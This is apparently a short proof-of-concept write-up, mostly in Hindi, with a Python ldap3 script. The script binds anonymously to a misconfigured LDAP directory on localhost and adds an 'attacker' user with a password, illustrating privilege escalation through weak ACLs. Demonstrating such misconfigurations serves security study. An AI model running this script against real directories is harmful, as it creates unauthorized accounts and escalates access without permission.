
LDAP अनाम बाइंड विशेषाधिकार वृद्धि के लिए Python proof-of-concept, जो असुरक्षित ACLs का अनुकरण करके अप्रमाणित LDAP बाइंड्स के माध्यम से एडमिन उपयोगकर्ता बनाता है।
# ldap_anon_sim.py - LDAP server allowing anonymous bind with write access
from ldap3 import Server, Connection, ALL
# Simulated: real server would be misconfigured
server = Server('ldap://localhost:389', get_info=ALL)
conn = Connection(server, authentication='ANONYMOUS')
conn.bind()
# If anonymous has write permission to userPassword, can add self as admin
conn.add('uid=attacker,ou=people,dc=example,dc=com', ['inetOrgPerson'], {'uid': 'attacker', 'userPassword': 'password'})
print("User created anonymously!")
एक LDAP निर्देशिका गलत कॉन्फ़िगर की गई है जो अनाम बाइंड्स की अनुमति देती है और साथ ही संवेदनशील विशेषताओं (जैसे userPassword) को लिखने की पहुँच प्रदान करती है। एक हमलावर अनाम रूप से बाइंड कर सकता है और एक नया व्यवस्थापक उपयोगकर्ता बना सकता है, जिससे विशेषाधिकार बढ़ जाते हैं।
सिमुलेशन चलाएँ (वास्तविक परीक्षण के लिए एक वास्तविक LDAP सर्वर की आवश्यकता होती है, लेकिन हम अवधारणा दिखाते हैं):
python ldap_anon_sim.py
स्क्रिप्ट अनाम रूप से एक उपयोगकर्ता जोड़ने का प्रयास करती है।